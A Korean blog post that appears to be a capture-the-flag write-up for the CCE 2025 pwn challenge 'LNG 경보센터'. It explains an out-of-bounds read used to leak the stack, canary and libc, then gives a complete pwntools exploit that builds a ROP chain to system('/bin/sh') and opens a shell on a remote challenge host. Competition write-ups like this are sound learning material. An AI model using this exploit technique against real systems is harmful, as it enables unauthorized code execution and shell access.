CCE 2025 - LNG 경보센터

2025. 9. 14. 20:58·CTF/Solved
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

생략

2.2. 분석

생략

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

oob를 통한 leak 및 exit 실행 시 comment를 통한 bof, rop

3.2. 공격 준비

취약점을 찾는데 1시간 반을 소비하고, 익스하는데 10분 걸렸다.

아무리봐도 취약점을 찾지 못해 헤메다 gas center structure에 존재하는 값을 수정할 수 있는데, 수정을 위해 입력한 값들의 size가 변수 크기보다 커서 의도치 않은 값을 출력하게된다.

즉, 각 변수는 1바이트 크기였는데, 실제로 입력 가능한 값은 4바이트였다.

이 중 night shift 변수 값이 매우 크면 region 변수 영역까지 침범하게 되고, region 변수의 값을 offset으로 토대로 stack에 있는 storage level을 출력하게되는데 이를 통해 stack leak이 가능하다.

또한 emergency 메뉴에서 shutdown with message 메뉴가 있었는데, 누가봐도 bof가 일어날 것 같아 넣어보았더니 역시나.

그래서 leak -> rop 했다.

 

4. exploit

 from pwn import *
 
 #p = remote('localhost',54321)
 p = remote('3.38.199.229', 54321)
 
 #context.log_level='debug'
 leak = b''
 for i in range(8):
 	p.sendlineafter(b'Select: ',b'12')
    p.sendlineafter(b'Number: ',str(0x100 * 8 * 4 + 0x100 * i).encode())
    p.sendlineafter(b'Select: ',b'5')
    p.recvuntil(b'Level: ')
    leak = str(hex(int(p.recvline()[:-1])))[2:].encode() + leak
 
 stack = int(b'0x' +leak,16)
 print(hex(stack))
 
 leak = b''
 for i in range(8):
    p.sendlineafter(b'Select: ',b'12')
    p.sendlineafter(b'Number: ',str(0x100 * 8 * 4 + 0x100 * (8 + i)).encode())
    p.sendlineafter(b'Select: ',b'5')
    p.recvuntil(b'Level: ')
    leak = str(hex(int(p.recvline()[:-1])))[2:].encode() + leak
 
 canary = int(b'0x' + leak + b'0',16)
 print(hex(canary))

 leak = b''
 for i in range(8):
    p.sendlineafter(b'Select: ',b'12')
    p.sendlineafter(b'Number: ',str(0x100 * 8 * 4 + 0x100 * (8*3 + i)).encode())
    p.sendlineafter(b'Select: ',b'5')
    p.recvuntil(b'Level: ')
    leak = str(hex(int(p.recvline()[:-1])))[2:].encode() + leak
 libc = int(b'0x' +leak,16)
 print(hex(libc))
 
 p.sendlineafter(b'Select: ',b'11')
 p.sendlineafter(b'Select: ',b'4')
 
 libc_base = libc - 0x2a1ca
 system = libc_base + 0x58750
 rdi = libc_base + 0x000000000010f75b
 binsh = libc_base + 0x1cb42f
 payload = b'A'*8*5 + p64(canary) + p64(0)+ p64(rdi) + p64(binsh) + p64(rdi + 1)+ p64(system)
 p.sendlineafter(b'remarks: ',payload)
 
 p.interactive()
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'CTF > Solved' 카테고리의 다른 글

CCE2025 - pwn - artisan  (0) 2025.08.17
CCE 2025 - pwn - book  (0) 2025.08.17
Dreamhack CTF Season 7 Round #14 (🌱Div2) - Platform 9½  (0) 2025.07.26
No Hack No CTF 2025 - No.5️⃣4️⃣9️⃣  (0) 2025.07.08
No Hack No CTF 2025 - Baby ROP which LemonTea wants  (0) 2025.07.08
'CTF/Solved' 카테고리의 다른 글
  • CCE2025 - pwn - artisan
  • CCE 2025 - pwn - book
  • Dreamhack CTF Season 7 Round #14 (🌱Div2) - Platform 9½
  • No Hack No CTF 2025 - No.5️⃣4️⃣9️⃣
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (559)
      • To do list (0)
        • Doing (1)
        • Complete (6)
      • Diary (37)
      • Tips & theory (77)
      • Kernel Exploit (28)
        • Theory (16)
        • Exercise (5)
      • File Structure (6)
      • Wargame (352)
        • Dreamhack (183)
        • pwn.college (37)
        • pwnable.tw (0)
        • pwnable.kr (15)
        • Lord of Sqlinjection (4)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (50)
        • Solved (48)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    cryptohack
    64bit
    root-me
    docker
    pwnable.kr
    BOF
    la ctf
    lob
    vtable
    libc
    32bit
    hackerschool
    heap
    dreamhack
    FSB
    phoenix
    RTL
    CANARY
    x64
    Me
    Buffer Overflow
    pwntools
    rop
    _IO_FILE
    exploit education
    tcache
    root
    Format String Bug
    x86
    ROOT ME
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
CCE 2025 - LNG 경보센터
상단으로

티스토리툴바